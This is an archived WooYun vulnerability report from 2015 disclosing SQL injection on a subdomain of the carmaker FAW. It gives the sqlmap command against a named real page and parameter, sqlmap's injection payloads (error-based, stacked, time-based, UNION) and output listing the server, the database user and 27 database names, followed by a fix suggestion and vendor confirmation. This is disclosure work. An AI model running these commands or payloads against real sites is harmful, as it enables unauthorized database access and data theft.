乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-04: 细节已通知厂商并且等待厂商处理中 2015-11-04: 厂商已经确认,细节仅向厂商公开 2015-11-14: 细节向核心白帽子及相关领域专家公开 2015-11-24: 细节向普通白帽子公开 2015-12-04: 细节向实习白帽子公开 2015-12-19: 细节向公众公开
一汽某子域名SQL注入
地址 http://tw.faw.com.cn/
sqlmap -u "http://tw.faw.com.cn/manage/news_show.asp?id=6907"
Parameter: id (GET) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: id=6907 AND 1444=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (1444=1444) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(113))) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: id=(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (7607=7607) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(113)) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: id=6907;WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: id=6907 WAITFOR DELAY '0:0:5' Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: id=-3499 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(122)+CHAR(122)+CHAR(112)+CHAR(113)+CHAR(82)+CHAR(115)+CHAR(72)+CHAR(119)+CHAR(83)+CHAR(120)+CHAR(122)+CHAR(75)+CHAR(115)+CHAR(101)+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(113)-- the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft SQL Server 2000
current user: 'fawsqldb'available databases [27]: [*] changcun[*] cms5[*] cnyh[*] faw_book[*] fawonline[*] fawzq_cqk[*] fawzq_sb[*] fawzq_sh[*] fawzq_web[*] gg_search[*] gg_temp[*] haqing[*] jf_search[*] jf_temp[*] jsfw[*] ldlzy[*] master[*] model[*] msdb[*] neiwww[*] Northwind[*] pubs[*] qmbbs[*] sms5[*] soms5[*] tempdb[*] waiwww
如上
过滤,上WAF
危害等级:中
漏洞Rank:8
确认时间:2015-11-04 16:01
已经提交网站运维人员处理
暂无